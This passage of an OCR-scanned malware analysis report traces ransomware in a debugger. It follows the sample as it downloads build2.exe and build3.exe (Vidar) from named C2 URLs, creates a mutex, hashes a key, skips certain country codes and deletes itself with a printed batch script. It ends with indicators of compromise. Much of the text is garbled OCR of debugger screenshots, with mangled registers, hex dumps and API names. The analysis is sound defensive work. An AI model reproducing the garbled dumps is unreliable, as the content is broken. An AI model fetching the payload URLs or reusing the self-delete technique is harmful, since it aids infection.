Address | Hex | ascIr ] ~
Umliﬂ W CICI DD DD Clﬂ DO 03 OD GO DCI DD ODl:lCl DU Dﬂ GU Bleresreanaanannn

Figure 141
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https://any.run/report/cd6bf2f554a9aa446cb36d28e374e1010268cbda8f55eb0043fbe6e2724128be/152e55c2-5e8f-4fe2-a764-7876ba00f03e

A file called “build2.exe” is created in the new directory:

. 4
Eg—e FF 15 EB C1 21 00 call dword ptr s t[<&CreateFileas] w =
of¢ , | Defaut (stdcal) = |5 [+][] unlock
i: [esp] O2E9ADAD "C:\\Users \\AppData\\Loc
dword ptr [O021C1FE <wininet_dump.&CreaterileAs]=<kernels2.Createrileas 2 ey T - VI sopoataty

-Text:

et_dump. exe: $1E2858 #1E288

B . 02E9A040 | “c:\\Users', [ \AppData’\Local’,\bo1dsd17 -1
Locals Struct DBAED3AD | 40000000

i OBAED3A4  0D00000L

OBAED3AS | DDOGOODD

OBAED3AC | 00000002

OBAED3B0 | 0DO000SD

OBAED384 00000000

0016DBDO | wininet_dump. 0016DEDO

AftEnenn | wininar dima A0t ERBERA

¥ Dump 1 S48 Dump 2 % Dump 3 825 Dump 4 oo Dump 5

Figure 142
The InternetReadFile routine is utilized to read the executable from the server, as displayed
in figure 143:

80 84 24 28 01 i@espr125]

XB7SW_CO O
XBTSW_P 0

E—— FF 15 AB C3 21 00 €all dword ptr ds:[<&InternetReadFiles] v
e >
dword ptr [0021C3A8 <wininet_dump.&InternetReadrilex]=<wininet.InternetReadriles

v ||5 |3 | unlock

. TexXT:0016E2CT wininet_dump.exe: S1E2CT #1E2CT

[ 00cCo010

| #owmp1  @Hpump2z WHDump3  UHDump4  WWDumps Bwetchi  bellecals ¥ Struct OBAED3AC | DBAEDADS
| address [hex e _ |asciz ; " .| 0BAED380 00002800

Figure 143
ShellExecuteA is used to run the newly created executable:

™ BGA ouzh = = = XE/sIN_& 3 (EMPTY) MBS IW_ E EMpTY )
. 3 44 24 50 ae eax,dword ptr 1Bes 1
. xB75tatusword 0000
. n X875W_B O XB87SW_C3 O 7 2 0
. eax ax x87 0 7SW_CO O 0
N XBTSW_SF O TSW_| o 7 o
. GA push
E— FF 15 1C €3 21 o call dword ptr ds:[<ashellexecuteas] v =
o [ 3 = 5 | Defaut (stdcal) » /s 21 unlock

sp] D000
dword ptr [0021C31C <wininet_dump.&shellExecuteAs]=<shell132.ShelTExecuteas ey

- TeXT:0016E34D0 wininet_dump.exe: $1E340 #1E34D =

f p P e ) . IR 00000000

#5% Dump 1 ¥% Dump 2 ¥ Dump 3 4% Dump 4 &% Dump 5 % Watch 1 *=] Locals Struct DBAED3A4 00000000

i OBAED3AS | 02E94040  “C:\\Users\) \\AppData'\Locall\bo1dsd17-1

A.SCII * | DBAEDZAC | DDOOOODO -

DEAED3EB0 | 00000000

OBAED 384 00000001
0016DBD0
00160800

T_dump.0016DEDO
net_dump. 001EDB0D0

Fake Net Mini Program

FakeMet Mini Program has been run

Figure 145
The binary performs a GET request to http[:]//securebiz[.]Jorg/files/1/build3.exe using
InternetOpenUriA:
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| push eak LS ean: “ht XB7SW.SF O X87SW.P O XBTSWU O
| push edi —
E£&11 dword ptr ds:[<&InternetOpenur1a>] |

' Defut(sm:an » (5 1] unlock
e = e 1t [esp] DoCCOOO8
dword ptr [0021C3BC <wininet_dump.&Internetopenur 1A>J=<wininet.InternetOpenuria> 1 2: [espr4] D2£12010 “http://securebiz.org/files

p+8] 00000000
o+ ] _ 00000000

§2:
5z
4

-text:0D016E07B wininet_dump.exe: $1E07B #1E07B

Wouwmp1  @oump2z  @hoump3  @Dump4  @pumps @ waich1  bellocals ) Stuct m
ASCIT I ~ | GBAED3A¢ | 00000030
] £ T EE ] AR 08Acp380 oooagooo
Flgure 146
According to multiple online resources, the above file is supposed to be an infamous info-
stealer called Vidar. The process of reading data from the server, creating the malicious file,
etc. is the same as above and isn’t explained again.

“http: //securebiz.org/files/1/build3. exe”

For completeness, we will also provide details about the other parameters that can be used,
as displayed at https://app.any.run/tasks/635cd7df-e4b7-4d1a-a937-e8d8599e6¢72/.

“—ForNetRes “jwvfPPgZoQyg6Q6he8weP7iDsHIFKc74ICjysAt2”
r77yXePcnmrctJPWrZCcbJgUIAtOa1FC9Na710t1 IsNotAutoStart IsNotTask”
parameters

The binary creates a mutex called “{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}” using
the CreateMutexA API:

L] 68 20 44 25 00 push wininet_dump. 254420 254420: XB7SW_C1 0 X87SW.CO 0O XxB875W_ES O
. 6A 00 push o XBTSW_S5F O x87TSW_P 0 xBTSW_U o
- 6A 00 ‘pui? ) | - —
» FF 1S 30 €31 21 00 €al1 dword ptr ds:[<acCreateMutexas] v =
| . . . 5 | Default (stdcal) =[5 [£]0J unlock
1: [es; 00000000
L&CTeateMUTexA>]=<kernel32.CreareMutexa> -2 esgﬂn 00000000

esp—rsj 00254420 " {FBE4BCCE-05C7-4ADD-BETE-A

dword ptr [0D21C130 <wini
-i ;esurc] 00174141 mlninet_dunp En:ryPD1nt>

.text:D016ABBF wininet_dump.exe: S1ABBF #1ABBF | T — =
@oump!  pump2 Ypump3  Poump4  Eoumps M watchi  (eellocals ¥ Struct FooeoEess
[adnrace | uaw laerrr I . | DDBIEGBC | 00254420 | " {FBB4BCCE-05C7 -4ADD-B67B-A9BA697323C1}"

Figure 147
According to online sources, the first parameter can be considered as a Key and the second
one as a Personal ID. The malware performs a hashing operation (MD5) on the Key:

. 6A 00 push )
b 1 push a5 esi:™in KE7STatusword 0000
- FF 15 EB C1 21 00 call dwnrd ptr ds: [<&lstrilenas] XBTSW_B 0 xB7SW C3 0 xB7TSW CZ O
- 50 push eax XB7SW_C1 0 XB7SW_CO O Xx875W_ES O
of 00161 ) 13 push esi esi:"in XB7SW_SF 0 xB7SW_P 0 xXB7SW_U 1]
|l DO1E1061 FF 75 EB u§;| mrg ptr ss:gebp-15] 3 :
g FF 15 18 €0 21 00 jca rd ptr ﬂs <4CryptHashoata- w =
. 5 | Default (stdcall) ~||5 |2 uniock

1: [esp] 03016720 MI’CFEIK:HIS
‘api32.CryptHashData> 'z [espn] 0301BE38 "jwwTPPQZoQygeQ6heBweP7iDsH

FCSDY 8] 00000028
RSB+C 00000000

< TExT: 00161064 wininet_dump. exe: $11064 #11064

J"LDU’NJI HI-Duru2 ¥ Dump 3 WSoump4  WWoumps @8 wath1 Ir=| Locals ;é‘SIrul:t

Flgure 148

The hash value is extracted using the CryptGetHashParam function (0x2 = HP_HASHVAL):

FPPOZOQy 7 KeT4ICiysAta"

0161005 6A 00 push NE/STATUSWOra UOUU
510 50 push eax X875W_B O xB7SW L3 O xBTSW.C2 0

o

- 01

L] 1008 57 push edi XB7SW_C1 O xB7SW_CO O xB7SW_ES O

o | 00161009 64 02 push 2 _XB7SW_SF 0 X87SW_P O XS7SWU 0

e 00161008 FF 75 EB push wora ptr ss:febp-15]

— FF D6 call es |esitery v |- —

. - nefa.jusnﬂcan v |[5 |10 unlock
e e 11 [esp] D3016720 <iCPCreatenashs
esimcadvapi32.CryptGetHashParams (73ASFABO) [esnﬂ] 00000002

esp+8] 0301BC00
o : [esp+C] O0OBIEGA4
. Text:001610DE wininet_dump.exe: $1100E #1100E
o . o . a8 & 03016720
#%Dumpl @HDump2 BN Dump3 FLDump4 9 Dump 5 = Watch1  |x=] Locals g Struct O0BSEGSC | 00000002
Address | Hex ASCII || QOBIEEED 0301BCO0
OSUJBCDD oo JJ I.O JJ ZIJ OL\ JJ UI. UU JO ur \JJ JJ Oﬂ JJ Ob Beoeanannnsanana Q0000000

Address | Hex L oo R
5301800 |57 48 3E AF|8D 31 FB B9/E6 D8 1E 9F|98 11 24 FE WH> .10°30....
Figure 149

The execution flow is similar to the one starting with figure 90 and will not be reiterated.
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https://app.any.run/tasks/635cd7df-e4b7-4d1a-a937-e8d8599e6c72/

‘~Service 4904 “jwvfPPgZoQyg6Q6he8weP7iDsHIFKc74ICjysAt2”
r77yXePcnmrctJPWrZCcbJgUIAtOa1FC9Na710t1” parameters

The above value represents the parent process ID, which is converted from string to a long
integer value:

6A DA push A XBTSW_C1 0 XB7SW.CO O XB7SW_ES 0O
6A 00 push 0 . . XBTSW_SF 0 XxB875SW_P 0 x875W_U o
FF 75 08 push dword ptr ss;[febp-cj | [ebp+8] 5
E8 EO DA 00 00 | EET wininet_dump. 181781 |westol v [
= Defad!(shdcal} v |[5 [£]C] unlod

esp] 02397810 L4904
2: esoﬂq 00000000
3: [esp+8] 000O00DA
4 ;esmc D0EFFI74

. TexT:00173C9C wininet_dump.exe: $23C9C #23C9C

'dfliDmul H:lsmz oump3  Woump4  Eeoumps @ wathi  ieellocals 7 Struct anu m‘g Lasos
= T T 1 nosressal 00000008
Flgure 150

The ransomware opens the local process object using the OpenProcess routine (0x100000 =
SYNCHRONIZE):

56 | push esi XB75W_C1 0 xB7SW_CO O xB7SW_ES O

6A 00 uush XBTSW_SF O XB7SW_P O X87SW.U O

68 00 10 00 I 000 |

FF 15 AC CO 21 00 n‘!'l ma ptr ds:[<a0penProcess>] v =
Defm(m:an v (5 3]0 unlodh

mm ptr [0021COAC <wininet_dump. AOPenProcesss]=<kernellz.OpenProcesss d ; [esp]

esp+4 UUUOUUUU
esp+8] 00001328
R p+C] 00174141 <wininet. du"|p Entrme nts
-text:0016A390 wininet_dump.exe: $1A390 #1A39D e
- ; F 55100000
Woump1  @Dmp2  @Dump3  @houmps  @Houmps @ watch: | belloeals ) Struet | 20cE4st ooooag0g i
Srdrace | baw Tasrrr i | DOGFE49C | 00001328 |

After the parent process enters the signaled state, the file dispatches incoming sent
messages, checks for posted messages, and then retrieves the messages:

| push 1 xBTStatusword 0000
| push ¢ X87SW_B O xB7SW_C3 O xB7SW.C2 ©
| Bush XB7SW_C1 0 xB7SW CO O XxBTSW ES O
| push XB7TSW_SF 0 XB7SWP 0 X&7SWU 0
| push eax
call esi |esTareEe v | =i
5 Defm(mdb v |5 12| (] unlock
'1: [esp] 00GFE4TC
| esi=<user3z. PeekMessagews (75007C50) 2: _esgﬂl 00000000
3: [esp+8] 00000000
LTEeXT:00161ACA wininet_dump.exe: $11ACA #11ACA C eso‘{] UWWQDO
- ) GOGFEATC |
Woump1  YDump2  UHDump3  @oump4  @oumps B wetchi  Ix-liocals ) Struct | DOGFE464 | 00000000
Address | Hex |ascix |
DOGFE47C |68 03 00 00[C8 03 00 00U EREG 76|F4 01 00 0o |E.. E... &5, .| ﬁgsﬁ,im

Figure 152
The malicious binary retrieves the exit code of the current process and then Kills itself using
TerminateProcess:

Jtext:88168415 call ds:GetCurrentProcess

Ltext: 88164418 mov esi, eax
.text:88168410 mov [esp+14DBh+ExitCode], @
.text:88168425 lea eax, [esp+l4aDBh+ExitCode]
Ltext: 88168429 push eax ; 1lpExitCode IFi
. igure 153
text: 80164424 push esi ; hProcess 9

Jtext: 88168428 call ds:GetExitCodeProcess

text: 88164431 push [esp+14D8h+ExitCode] ; uExitCode
Ltext:BA164A435 push esi ; hProcess
Jtext:88168436 call ds:TerminateProcess

Finally, we describe the case when the country code belongs to the following list: “RU”, “BY”,
“UA”’ “AZ”’ “AM”’ “TJ”’ (iKZ”’ (iKG”’ “UZH and “SY”.

CreateMutexA is utilized to create a mutex called “{FBB4BCC6-05C7-4ADD-B67B-
A98A697323C1}":
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UULBLS A/ BE U 44 5 LU XE/LONTroIwNora v e
D016254C 6A 00 h 0 XBTCW_IC O XB7CW_ZM 1 XB7CW_PM 1
001625 4E 6A 00 B

00254420 "{FBB4BCCE-05C7-4ADD-BE7B-A'
00174141 <wininet_dump.EntryPoint>

- Text: 00162550 wininet_dump.exe: §12550 #12550

$oump1  @WDump2  @WDump3  @Dump4 @Dumps

Figure 154
A batch file called “delself.bat” is created in the % TEMP% directory:

AGiIW_® 3 LEmpLY ) AQIIM_3 3 LEmELY )
X87TW_6 3 (Empty) x87TW_7 3 (Empty)

xB75tatusword 0000

XE7SW_B 0 x57SW.C3 O x87sw.C2 O
XB7SW_C1 O xBTSW.CO O xB7SW_ES O
XBTSW_SF 0 xB7SW_P 0 x87SW.U 0O

e S e

ush Co000000
ea eax,dword ptr ss:febp-165]
push eax

- Text: 00162607 wininet_dump.exe: $126D7 #126D7

YWoumpl  @oumpz @Moump3  ESDump4

WWoumps @ watch 1

O12FE480
D12FE490| 44 61 74 61
O12FE4AD | 64 65 6C 73

Figure 155
The above file is populated using the WriteFile API, and its content is displayed below:

IS SR
61 a\Local’, Temp®,
62 61 74 00|00 00 00 00} delself.bat.....

® || DOLEZEEF sh O B L T |
ea eax,dword ptr ss:ffebp-4J XB7TW_6 3 (Empty) XBFTW_7 3 (Empty)
sub ecx,edx

xB87Statusword 0000

XBTSW_B O XxB7SW.C3 0O x&7Sw.C2z O
NBTSW C1 0 xB7SW CO O xB7SW_ES O
X8TSW_SF O XB7SW_P 0 XBTSW_U 1]

BD 85 BO F9 FF FF
50

DO01626FE
lLooisz2eFF

00000042
esp+C] OL2FESE4

-TexT: 00162700 wininet_dump.exe: $12700 #12700

@Woump1  @oump2 WNDump3  USDump 4

@8 watch 1 1x=| Locals

¥4 Dump 5
012FDFES 65 63 GB|GF 20 6F 66|66 OD DA 3A|74 72 79 0D

Figure 156

L=
[=] deleelf bat E3
1 Eecho off
2 :try Figure 157
2 del "C:\Users\JJJ} Deskcop \WININE~1.EXE"
4  if exist "C:\Users' |} Desktop \WININE~1.EXE" goto try
=  del "C:\Users\JJ i} 2ppData\Local\Temp'delself.bat”

After the batch file finishes its execution, the malicious file and the script are deleted:

001627 6E
001627 6F

eax:"™\" | xg7Tagword FFFF

_— XBTTW_0 3 (Empty) x87TW_1 3 (Empty)
E X87TW_2 3 (Empty) x87TW_3 3 (Empty)
xB7TW_4 3 (Empty) XS87TW_5 3 (Empty)
XB7TW_6 3 (Empty) x87Tw_7 3 (Empty)

sh eax
?.e]n eax ,dword ptr ss:|febp-sof
h eax

push 0
push 0

x875tatusword 0000

0 gusl'l o XB7TSW_B O xB7SW.C3 0 XB7SWLZ O
78 F4 FF FF ea eax,dword ptr ss:febp-sss] X875W.C1 0 XB7SW.CO O XB7SW.ES O
push eax XBTSW_SF 0 XB7SW_P O XB7TSW U O

RPEBRRRRPREES

push o e

esphli D1ZFDAGO "\"C:\\Users\ \AppData\,
esp+C

. TEXT: 00162788 wininet_dump.exe: $12788 #12788
Woump1  UMoump2  Woump3  Dump4

O12FDAS0 | O
O12FDAAD | 00
012FDABOD | 00
012FDACO | 00
012FDADO | 00
012FDAEOD | 0O

Figure 158
References

1888888
1888288

MSDN: https://docs.microsoft.com/en-us/windows/win32/api/, https://docs.microsoft.com/en-
us/windows/win32/taskschd/time-trigger-example—c—
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Fakenet: https://github.com/fireeye/flare-fakenet-ng

Any.run: https://app.any.run/tasks/635cd7df-e4b7-4d1a-a937-e8d8599e6¢72/

VirusTotal:
https://www.virustotal.com/gui/file/4380c45fd46d1a63cffe4d37cf33b0710330a766b7700af86
020a936¢dd09cbe

MalwareBazaar:
https://bazaar.abuse.ch/sample/4380c45fd46d1a63cffe4d37cf33b0710330a766b7700af8602
0a936¢dd09cbe/

OpenSSL: https://github.com/openssl/openssl|

INDICATORS OF COMPROMISE
C2 domains:
securebiz[.]org
znpst[.]top
SHA256: 4380c45fd46d1a63cffe4d37cf33b0710330a766b7700af86020a936cdd09cbe
Scheduled Task: “Time Trigger Task”

Registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper

User-agent: “Microsoft Internet Explorer”
PDB paths:

» “C:\xudihiguhe\jegovicatusocaljijetogez\winucet\xusev\kucor.pdb”
e “e:\doc\my work (c++)_git\encryption\release\encrypt_win_api.pdb”

URLs:

http[:]//securebiz[.]Jorg/fhsgtsspen6/get.php
http[:]//securebiz.org/files/1/build3.exe
http[:]//znpst.top/dl/build2.exe
httpsl[:]//api.2ip.ua/geo.json
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